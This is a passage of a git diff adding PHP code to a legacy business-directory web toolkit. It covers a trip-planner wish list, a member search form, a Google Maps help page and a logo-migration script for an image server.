+            $toolbox = new GLM_TEMPLATE(HOME_ID);
+        }
+               if ($catid) {
+                       $sql = "
+            SELECT id, category, parent 
+                         FROM bus_category
+                        WHERE id = :catid";
+            try {
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(":catid", $catid, PDO::PARAM_INT);
+                $stmt->execute();
+                $res  = $stmt->fetch();
+                $ancestors[$count]['id']    = $res['id'];
+                $ancestors[$count]['label'] = $res['category'];
+            } catch(PDOException $e) {
+                ToolkitCommon::handleError($e);
+            }
+
+                       $url                       = $toolbox->get_seo_url($res['id']); 
+                       $ancestors[$count]['link'] = $url;
+                       $this->getAncestors($res['parent'], ++$count);
+
+                       return array_reverse($ancestors);
+               }
+       }
+
+       //      }}}
+    // {{{ getSessionList()
+
+
+    /**
+     * get list from session
+     * 
+     * @return void  
+     * @access public
+     */
+    function getSessionList()
+    {
+        // for the session list need to sort by categories then
+        // we'll have to go through the session first and organize to what category they're in 
+        // then run query 
+        // have to order by the page name we'll need to find there names first then
+        $sql = "
+        SELECT category
+          FROM bus_category
+         WHERE id = :category_id";
+        $getCatName = $this->dbh->prepare($sql);
+        $sql = "
+        SELECT member_name
+          FROM member
+         WHERE member_id = :member_id";
+        $getMemberName = $this->dbh->prepare($sql);
+        if (is_array($_SESSION['wish_list']) && !empty($_SESSION['wish_list'])) {
+            foreach ($_SESSION['wish_list'] as $member_id => $mData) {
+                try {
+                    $getCatName->bindParam(":category_id", $mData['catid'], PDO::PARAM_INT);
+                    $getCatName->execute();
+                    $toolboxPageName = $getCatName->fetchColumn();
+                    $getMemberName->bindParam(":member_id", $member_id, PDO::PARAM_INT);
+                    $getMemberName->execute();
+                    $memberName = $getMemberName->fetchColumn();
+                    $members[$toolboxPageName][$memberName] = $member_id;
+                } catch(PDOException $e) {
+                    ToolkitCommon::handleError($e);
+                }
+            }
+            // for sorting members by the page they're added from
+            natSort(&$members);
+            try {
+                $sql = "
+                SELECT m.*, c.city_name AS city, s.state_name AS state,
+                       s.state_abb AS state_abbr,
+                       m.street||', '||c.city_name||', '||s.state_name||', '||m.zip AS address
+                  FROM member m
+                       JOIN state s USING (state_id)
+                       JOIN city c USING (city_id)
+                 WHERE member_id = :member_id";
+                $stmt = $this->dbh->prepare($sql);
+                if (is_array($members)) {
+                    $count = 0;
+                    foreach ($members as $toolbboxPageName => $memberList) {
+                        // for sorting members under each page
+                        natSort(&$memberList);
+                        foreach ($memberList as $memberName => $member_id) {
+                            $stmt->bindParam(":member_id", $member_id, PDO::PARAM_INT);
+                            $stmt->execute();
+                            // set record data
+                            $catid             = $_SESSION['wish_list'][$member_id]['catid'];
+                            $recordSet[$count] = $stmt->fetch();
+                            // setup the breadCrumbs
+                            $recordSet[$count]['breadCrumbs'] = $this->printAncestors($catid);
+                            // setup delete link
+                            $recordSet[$count]['deleteUrl'] = BASE_URL .
+                                'wish-list.php?catid=' . $_REQUEST['catid'] .
+                                '&member_id=' . $member_id;
+                            // setup the url
+                            $recordSet[$count]['urlText'] = $recordSet[$count]['url'];
+                            if ($recordSet[$count]['url']) {
+                                $recordSet[$count]['url']     = BASE_URL .
+                                    'Toolkit/Members/memberClickThru.php' .
+                                    '?member_id=' . $member_id .
+                                    '&href=' . urlencode($recordSet[$count]['url']);
+                            }
+                            ++$count;
+                        }
+                    }
+                    if (is_array($recordSet)) {
+                        $temp = new HTML_Template_Flexy($this->flexyConfig);
+                        $page = new stdClass;
+                        $toolbox = new GLM_TEMPLATE(HOME_ID);
+                        $page->accountUrl  = $toolbox->get_seo_url($this->plannerFormPageId);
+                        $page->loginUrl    = BASE_URL . 'Toolkit/Members/TripPlanner/login.php';
+                           $page->logoutUrl   = BASE_URL . 'Toolkit/Members/TripPlanner/login.php?logout=1';
+                        $page->saveUrl     = BASE_URL . 'index.php?catid='.$this->plannerListPageId.'&cPage=Save+List';
+                        $page->requestUrl  = BASE_URL . 'index.php?catid='.$this->plannerListPageId.'&cPage=Send+List';
+                        $page->loginStat   = ($_REQUEST['status']) ? 'Invalid username or password.': '';
+                        $page->isLoggedIn  = $this->isLoggedIn();
+                        $page->username    = $page->isLoggedIn;
+                        $page->baseurl     = BASE_URL;
+                        $page->recordSet   = $recordSet;
+                        $page->numberedSet = count($recordSet);
+                        $temp->compile("tripPlannerList.tpl");
+                        $out .= $temp->BufferedOutputObject($page);
+                    }
+                }
+                //echo '<pre>'.print_r($page, true).'</pre>';
+                echo $out;
+            } catch(PDOException $e) {
+                 Toolkit_Common::handleError($e);
+            }
+        } else {
+            echo $this->showEmpty();
+        }
+    }
+
+    // }}}
+    // {{{ isLoggedIn()
+
+    /**
+     * check if user is logged in or not
+     * 
+     * @access public
+     * @return string
+     */
+    function isLoggedIn()
+    {
+        $tripPlannerAuth =& new Toolkit_Members_TripPlanner_TripAuth('DB', array(), '', false);
+        $tripPlannerAuth->setIdle();
+        $tripPlannerAuth->start();
+            
+        $test = $tripPlannerAuth->checkAuth();
+        if ($test) {
+            // give back the username
+            return $tripPlannerAuth->getUsername();
+        } else {
+            return false;
+        }
+    }
+
+    // }}}
+       //      {{{ printAncestors()
+
+       /**
+        * printAncestors 
+        * 
+        * @param mixed $catid page id
+        * 
+        * @access public
+        * @return string
+        */
+       function printAncestors($catid)
+       {
+               $ancestors = $this->getAncestors($catid, 0);
+               if (is_array($ancestors)) {
+                       for ($i = 0; $i < count($ancestors); ++$i) {
+                $out[] = '<a href="' . 
+                    $ancestors[$i]["link"] . 
+                    '">' . $ancestors[$i]["label"] . '</a>';
+                       }
+                       if (is_array($out)) {
+                               return implode(" / ", $out);
+                       }
+               }
+       }
+
+       //      }}}
+    // {{{ saveList()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function saveList()
+    {
+        if ($this->isLoggedIn()) {
+            $contactId = $_SESSION['_authsession']['data']['id'];
+            // if they already have something saved then wipe it out.
+            // (only one list per contact)
+            try {
+                $sql = "
+                DELETE FROM member_session
+                WHERE contact_id = :contact_id";
+                $del = $this->dbh->prepare($sql);
+                $del->bindParam(":contact_id", $contactId, PDO::PARAM_INT);
+                $del->execute();
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+
+            $sql = "
+            INSERT INTO member_session
+            (member_id,contact_id,catid)
+            VALUES
+            (:member_id,:contact_id,:catid)";
+            $stmt = $this->dbh->prepare($sql);
+            if (is_array($_SESSION['wish_list'])) {
+                foreach ($_SESSION['wish_list'] as $member_id => $mData) {
+                    $catid = $mData['catid'];
+                    try {
+                        $stmt->bindParam(":member_id", $member_id, PDO::PARAM_INT);
+                        $stmt->bindParam(":contact_id", $contactId, PDO::PARAM_INT);
+                        $stmt->bindParam(":catid", $catid, PDO::PARAM_INT);
+                        $stmt->execute();
+                    } catch(PDOException $e) {
+                        Toolkit_Common::handleError($e);
+                    }
+                }
+                $html = '<p>You list has been saved.</p>';
+            }
+        }
+        return $html;
+    }
+
+    // }}}
+    // {{{ show()
+
+
+    /**
+     * Calls the appropiate function for listing,saving,sending
+     * or printing the list also will need to handle grabbing list from
+     * database and repopulate the session.
+     * 
+     * @return void  
+     * @access public
+     */
+    function show()
+    {
+        echo $this->toHTML();
+    }
+
+    // }}}
+    // {{{ showEmpty()
+
+    /**
+     * shows the template tripPlannerNoList.tpl
+     * 
+     * @access public
+     * @return string
+     */
+    function showEmpty()
+    {
+        $temp             = new HTML_Template_Flexy($this->flexyConfig);
+        $temp->compile("tripPlannerNoList.tpl");
+        $page             = new stdClass;
+        $toolbox          = new GLM_TEMPLATE(HOME_ID);
+        $page->accountUrl = $toolbox->get_seo_url($this->plannerFormPageId);
+        $page->loginUrl   = BASE_URL . 'Toolkit/Members/TripPlanner/login.php';
+        $page->logoutUrl  = BASE_URL . 'Toolkit/Members/TripPlanner/login.php?logout=1';
+        $page->saveUrl    = BASE_URL . 'index.php?catid='.$this->plannerListPageId.'&cPage=Save+List';
+        $page->requestUrl = BASE_URL . 'index.php?catid='.$this->plannerListPageId.'&cPage=Send+List';
+        $page->loginStat  = ($_REQUEST['status']) ? 'Invalid username or password.': '';
+        $page->isLoggedIn = $this->isLoggedIn();
+        $page->username   = $page->isLoggedIn;
+        $page->baseurl    = BASE_URL;
+        return $temp->BufferedOutputObject($page);
+    }
+
+    // }}}
+    // {{{ toHTML()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function toHTML()
+    {
+        if (is_array($_SESSION['wish_list']) && !empty($_SESSION['wish_list'])) {
+            switch ($_REQUEST['cPage']) {
+            case "Send List":
+                $pp   = new Toolkit_Contacts_SendTripPlanner($this->dbh,
+                                                            'TravelList',
+                                                            'post',
+                                                            BASE_URL .
+                                                            'index.php?catid='.$this->plannerListPageId);
+                $pp->configureForm();
+                $html = $pp->toHTML();
+                break;
+            case "Save List":
+                $html = $this->saveList();
+                $html .= $this->getSessionList();
+                break;
+            case "Login":
+                break;
+            case "Show List":
+            default:
+                $html = $this->getSessionList();
+                break;
+            }
+        } else {
+            echo $this->showEmpty();
+        }
+        return $html;
+    }
+    // }}}
+}
+?>
diff --git a/Toolkit/Members/UserSearchForm.php b/Toolkit/Members/UserSearchForm.php
new file mode 100644 (file)
index 0000000..572a0d9
--- /dev/null
@@ -0,0 +1,775 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Member Search Form Class
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: UserSearchForm.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Member Search Form
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_UserSearchForm
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{     properties
+
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $memberCatsAssignedToPage = array();
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member';
+
+       /**
+        * Array of data that holds the meta data info on the table
+        *
+        * Contains information on the type of fields in the database.
+        * That way when we run our automated SQL queries with our PDO
+        * we can properly bind data to our SQL queries.  This will
+        * allow for one more layer of protection against any sql
+        * injection attempts.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableMetaData;
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The name of the template used to render the member info form
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $formTemplate = 'memberSearchForm.tpl';
+
+       /**
+        * Form access from inside the template
+        *
+        * @var object
+        * @access protected
+        */
+       protected $view;
+
+       /**
+        * registered rules for the form
+        *
+        * @var array
+        * @access protected
+        */
+       protected $registeredRules = array();
+
+    /**
+     * catid to use in the form
+     *
+     * @var    integer
+     * @access private
+     */
+    private $_catid;
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ configureConstants()
+
+       /**
+        * Sets the constants for the form
+        *
+        * The member category select list must always default
+        * to the -- Choose Category -- option
+        *
+        * @return void
+        * @access public
+        */
+       public function configureConstants()
+       {
+               $c = array(
+                       'catid' => $this->_catid,
+                       'search' => 1,
+               );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for the an existing member
+        *
+        * Populates data for the main member form.  Also grabs
+        * data to populate the modules on the form if needed.
+        *
+        * @return array $defaults Returns the array of defaults
+        *                                                 so children who call this function
+        *                                                 can obtain a copy of these values.
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               $d = array();
+
+               $this->setupDefaults($d);
+
+               return $d;
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+     * @param Config_Container $c Configuration object
+     *
+        * @return void
+        * @access public
+        */
+       public function configureElements(Config_Container $c)
+       {
+        $e = array();
+
+        //  get reference to [listing type] section of config file
+        $config =& $c->getItem('section', 'listing type');
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+               $memberCategories    = $this->getMemberCats();
+        $memberSubCategories
+            = $this->getMemberSubCats($memberCategories, $_GET['category_id']);
+               $memberAmenities = $this->getMemberAmenities();
+
+        $cities = $this->getAvailableCities();
+        $this->createAvailableMemberTypesFromCity($cities);
+
+               //      All Grouped Elements are created here.
+               foreach ($memberAmenities as $k => $v) {
+                       $amenities[] = array(
+                'type' => 'checkbox',
+                'req' => false,
+                'name' => $v,
+                'display' => $k
+            );
+               }
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'SearchForm_hdr'
+        );
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'catid'
+        );
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'search'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'member_name',
+            'display' => "$singular Name",
+            'opts' => array('class' => 'text')
+        );
+               $e[] = array(
+            'type' => 'select',
+            'req' => false,
+            'name' => 'city_id',
+            'display' => 'City',
+            'opts' => array('' => '-- Select --') + $cities,
+        );
+               $e[] = array(
+            'type' => 'select',
+            'req' => false,
+            'name' => 'category_id',
+            'display' => "$singular Type",
+            'opts' => array('' => '-- Select --') + $memberCategories
+        );
+        $e[] = array(
+            'type' => 'select',
+            'req' => false,
+            'name' => 'sub_category_id',
+            'display' => "$singular Sub Type",
+            'opts' => array('' => '-- Select --') + $memberSubCategories
+        );
+               //      Only show do if we have amenities to show.
+               if (!empty($memberAmenities)) {
+                       $e[] = array(
+                'type' => 'group',
+                'req' => false,
+                'name' => 'amenities',
+                'group' => $amenities,
+                'seperator' => '',
+                'appendName' => true
+            );
+                       $e[] = array(
+                'type' => 'checkbox',
+                'req' => false,
+                'name' => 'search_all_amenity',
+                'opts' => 'Only show members who offer all selected amenities'
+            );
+               }
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+       /**
+        * Setup the filters to apply to the elements before we are
+        * handed the values submitted
+        *
+     * @return void
+        * @access public
+        */
+       public function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+       //      {{{ configureForm()
+
+       /**
+        * Helper method to configure the entire form
+        *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+        * @access public
+        */
+       public function configureForm(Config_Container $c)
+       {
+               $this->configureElements($c);
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureDefaults();
+               $this->configureConstants();
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+               $this->setupRules($rules);
+       }
+
+       //      }}}
+    //  {{{ createAvailableMemberTypesFromCity()
+
+    /**
+     * Get available categories from members assigned to cities
+     * 
+     * @param array $cities Available cities to get members from
+     *
+     * @return void
+     * @access protected
+     */
+    protected function createAvailableMemberTypesFromCity(array $cities)
+    {
+        try {
+            $cityCats = array();
+
+                       $availCats = array();
+                       foreach ($this->memberCatsAssignedToPage as $i) {
+                               $cats = Toolkit_Common::getHierarchicalTreeStructure(
+                    'category',
+                    'category_id',
+                    'parent_id',
+                    'pos',
+                    $i,
+                    0,
+                    false
+                );
+
+                               $availCats = array_merge($availCats, array_keys($cats));
+                       }
+                       $availCats = implode(', ', $availCats);
+
+            $sql = "
+                  SELECT distinct c.category_id, c.parent_id, p.name AS
+                         parent, c.name AS category
+                    FROM category c
+                    JOIN category p
+                      ON c.parent_id   = p.category_id
+                    JOIN member_category mc
+                      ON c.category_id = mc.category_id
+                 NATURAL JOIN member m
+                   WHERE m.city_id     = :cid
+                     AND c.category_id in ($availCats)
+                   ORDER BY c.name";
+            $stmt = $this->dbh->prepare($sql);
+            foreach ($cities as $i => $j) {
+                if (is_numeric($i)) {
+                    $stmt->bindParam(':cid', $i, PDO::PARAM_INT);
+                    $stmt->execute();
+                    $row = $stmt->fetchAll(PDO::FETCH_ASSOC);
+                    foreach ($row as $x) {
+                        $cityCats[$i][$x['parent_id']][$x['category_id']] = $x['category'];
+                        $mainCats[$x['parent_id']] = $x['parent'];
+                    }
+
+                }
+            }
+
+            $this->cityCategories = $cityCats;
+            $this->mainCats = $mainCats;
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+       //      {{{     getAvailableCities()
+
+    /**
+     * Returns all available cities that derive from members assigned to
+     * this page
+     *
+     * @return array     array of cities available to this page
+     * @access protected
+     */
+       protected function getAvailableCities()
+       {
+               try {
+                       $memCats = array();
+                       foreach ($this->memberCatsAssignedToPage as $i) {
+                               $cats = Toolkit_Common::getHierarchicalTreeStructure(
+                    'category',
+                    'category_id',
+                    'parent_id',
+                    'pos',
+                    $i,
+                    0,
+                    false
+                );
+
+                $memCats = array_merge($memCats, array_keys($cats));
+                       }
+                       $memCats = implode(', ', $memCats);
+            $sql = "
+                SELECT region
+                  FROM bus_category
+                 WHERE id = :catid";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':catid', $_GET['catid'], PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('region', $county);
+            $stmt->fetch();
+            if (is_numeric($county)) {
+                $county = "AND region_id = $county";
+            }
+                       $sql = "
+                SELECT *
+                  FROM city
+                 WHERE city_id in (
+                        SELECT distinct(city_id)
+                          FROM member
+                         WHERE member_id in (
+                            SELECT distinct(member_id)
+                              FROM member_category
+                             WHERE category_id IN ($memCats)
+                         )
+                 )
+                 $county
+                 ORDER BY city_name";
+
+                       $stmt = $this->dbh->prepare($sql);
+            $stmt->execute();
+            $cities = array();
+            while ($row = $stmt->fetch()) {
+                           $cities[$row['city_id']] = $row['city_name'];
+            }
+
+            asort($cities);
+                       return $cities;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     getMemberAmenities()
+
+    /**
+     * Get all the amenities for the member
+     * 
+     * @return array     member amenities
+     * @access protected
+     */
+       protected function getMemberAmenities()
+       {
+               try {
+                       $amenities = array();
+
+                       $sql = "
+                 SELECT *
+                   FROM amenity a
+                        NATURAL JOIN member_amenity ma
+                        NATURAL JOIN member_category mc
+                  WHERE mc.category_id = :cid
+                     OR mc.category_id in (
+                         SELECT category_id
+                           FROM category
+                  WHERE parent_id      = :cid)
+                  ORDER BY amenity_name";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($this->memberCatsAssignedToPage as $id) {
+                               $stmt->bindParam(':cid', $id, PDO::PARAM_INT);
+                               $stmt->execute();
+                               while ($row = $stmt->fetch()) {
+                                       $amenities[$row['amenity_name']] = $row['amenity_id'];
+                               }
+                       }
+
+                       return $amenities;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     getMemberCats()
+
+    /**
+     * Get all the main categories available from the categories that
+     * are assigned to the page.
+     *
+     * If a main category is assigned to a page, then add to list.
+     *
+     * If a sub category is assgined to page, then add parent (main) category
+     * to the list.
+     * 
+     * @return array     Main categories available for page
+     * @access protected
+     */
+       protected function getMemberCats()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM category
+                 WHERE category_id = :cid";
+
+                       $stmt = $this->dbh->prepare($sql);
+            $categories = array();
+                       foreach ($this->memberCatsAssignedToPage as $id) {
+                               $stmt->bindParam(':cid', $id, PDO::PARAM_INT);
+                               $stmt->execute();
+                if ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                    if ($row['parent_id'] == '0') {
+                                       $categories[$row['category_id']] = $row['name'];
+                    } else {
+                        $stmt->bindParam(':cid', $row['parent_id'], PDO::PARAM_INT);
+                        $stmt->execute();
+                        if ($parRow = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                            $categories[$parRow['category_id']] = $parRow['name'];
+                                               }
+                    }
+                }
+            }
+            asort($categories);
+                       return $categories;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     getMemberSubCats()
+
+    /**
+     * Get all the sub categories available from the main categories that
+     * are available to the page.
+     *
+     * @param array   $categories  Main level categories to get sub levels for
+     * @param integer $parentIdKey (optional) Main level that was searched on
+     *
+     * @return array     Sub categories available for page
+     * @access protected
+     */
+       protected function getMemberSubCats(array $categories, $parentIdKey = null)
+       {
+        if (empty($categories)) {
+            return array();
+        }
+
+               try {
+            //  Get the category information
+                       $sql = "
+                SELECT *
+                  FROM category
+                 WHERE category_id = :cid";
+
+                       $catStmt = $this->dbh->prepare($sql);
+
+            //  Get the sub-category information
+            $sql = "
+                SELECT *
+                  FROM category
+                 WHERE parent_id = :parent_id";
+            $subCatStmt = $this->dbh->prepare($sql);
+            $subCategories = array();
+
+            while (list($id,) = each($categories)) {
+                $catStmt->bindParam(':cid', $id, PDO::PARAM_INT);
+                $catStmt->execute();
+                $category = $catStmt->fetch();
+                try {
+                    $subCatStmt->bindParam(
+                        ':parent_id',
+                        $category['category_id'],
+                        PDO::PARAM_INT
+                    );
+                    $subCatStmt->execute();
+                    if ($subCatData = $subCatStmt->fetchAll()) {
+                        foreach ($subCatData as $key => $val) {
+                            $catStmt->bindParam(
+                                ':cid',
+                                $val['category_id'],
+                                PDO::PARAM_INT
+                            );
+                            $catStmt->execute();
+                            $subCat = $catStmt->fetch();
+                            if (in_array($subCat['category_id'], $this->memberCatsAssignedToPage)) {
+                                //  Subcat assgined to page, only assign
+                                //  child of parent cat that is assigned
+                                //  to page.
+                                $subCategories[$subCat['parent_id']][$subCat['category_id']] = $subCat['name'];
+                            } elseif (in_array($subCat['parent_id'], $this->memberCatsAssignedToPage)) {
+                                //  Parent category assigned to page, add all
+                                //  children found
+                                $subCategories[$subCat['parent_id']][$subCat['category_id']] = $subCat['name'];
+                            }
+                        }
+                    }
+                } catch (PDOException $e) {
+                    return Toolkit_Common::handleError($e);
+                }
+            }
+
+            if (   is_numeric($parentIdKey)
+                && array_key_exists($parentIdKey, $subCategories)
+            ) {
+                           return $subCategories[$parentIdKey];
+            } else {
+                $subCategories
+                    = Toolkit_Common::arrayFlatten($subCategories, 2);
+                asort($subCategories);
+                           return $subCategories;
+            }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml()
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+               $this->legend
+            = GLM_TEMPLATE::get_catheader($this->_catid, new GLM_DB());
+
+               //      ProcessData handles settingup the lat/lon coordinates if they were not entered
+               //      into the form.  these values ar calculated and then inserted into the forms
+               //      element values.  So we need to process the data first and then render the form.
+               $this->setupRenderers();
+
+               return $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{     setCatId()
+
+    /**
+     * set the catid to use in the form
+     * 
+     * @param integer $catid page catid
+     *                        
+     * @return PEAR    Error return a PEAR error if an invalid catid is passed in
+     * @access public 
+     */
+       public function setCatId($catid)
+       {
+        if (is_numeric($catid) && ctype_digit((string) $catid)) {
+            $this->_catid = $catid;
+        } else {
+            return PEAR::raiseError('Invalid catid');
+        }
+       }
+
+       //      }}}
+       //      {{{     setPageMemberCategories()
+
+    /**
+     * Relate toolbox categories with main member categories
+     * 
+     * @return array  toolbox -> category relations
+     * @access public
+     */
+       public function setPageMemberCategories()
+       {
+               try {
+                       $categoryToolbox = array();
+                       $sql = "
+                SELECT bcm.*
+                  FROM bus_cat_member bcm, category c
+                 WHERE bcm.catid     = :catid
+                   AND bcm.memb_type = c.category_id
+                 ORDER BY c.name";
+                       
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':catid', $this->_catid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch()) {
+                               $categoryToolbox[] = $row['memb_type'];
+                       }
+
+                       $this->memberCatsAssignedToPage = $categoryToolbox;
+
+            return $categoryToolbox;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+    /**
+     * Sets up the Flexy template
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/addressHelp.html b/Toolkit/Members/addressHelp.html
new file mode 100644 (file)
index 0000000..a143bb0
--- /dev/null
@@ -0,0 +1,10 @@
+<h2>My business is not in the correct spot in Google Maps.<br>What can I do?</h2>
+
+<p>Google provides the tools needed for placing your business correctly on their maps.
+Visit this page: <a href="http://www.google.com/lbc">http://www.google.com/lbc</a></p>
+<p>In addition to your correct location in their maps, you can also add other information pertaining 
+to your business such as opening hours, services, contact information etc.</p>
+
+<h2>What is the Latitude/Longitude fields on this page.</h2>
+<p>You can use this option to set your lat/long information for the Google Maps on this site only.</p>
+<p>Once your location is displaying right from the Google Local Business Center, you can remove numbers in these fields.</p>
diff --git a/Toolkit/Members/export-images-is0.php b/Toolkit/Members/export-images-is0.php
new file mode 100755 (executable)
index 0000000..34bb34a
--- /dev/null
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Export images from local directories into the Image Server
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: export-images-is0.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * setup file
+ */
+require_once '../../setup.phtml';
+
+/**
+ * Image Server API
+ */
+require_once BASE.'Toolkit/Image/Server.php';
+
+$db = new PDO('pgsql:'.CONN_STR);
+
+/**
+ * Description for define
+ */
+define('OLDORG', 'http://demo.gaslightmedia.com/images/member_original/');
+$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
+$sql = "
+  SELECT member_id, logo
+    FROM member
+   WHERE logo != ''
+     AND logo not like 'is%'
+   ORDER BY member_id";
+try {
+    $stmt = $db->query($sql);
+    $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
+    echo '<pre>';
+    print_r($data);
+    echo '</pre>';
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+$db->beginTransaction();
+$IServer = new Toolkit_Image_Server();
+if (is_array($data)) {
+    $prep2 = "
+    UPDATE member
+       SET logo = :image
+     WHERE member_id = :id";
+    $stmt3 = $db->prepare($prep2);
+
+    foreach ($data as &$row) {
+        $row['logo'] = trim($row['logo']);
+            var_dump(OLDORG.$row['logo']);
+        if (!ereg("^is", $row['logo'])) {
+            $image_URL = OLDORG.urlencode($row['logo']);
+            $image     = $IServer->imageUpload($image_URL);
+            if ($image) {
+                try {
+                    $stmt3->bindParam(":image", $image, PDO::PARAM_STR);
+                    $stmt3->bindParam(":id", $row['member_id'], PDO::PARAM_INT);
+                    $stmt3->execute();
+                } catch(PDOException $e) {
+                    die($e->getMessage());
+                }
+            }
+            echo '<br>Image Name Returned: ';
+            var_dump($image);
+        }
+    }
+}
+//$db->commit();
+$db->rollBack();
+?>
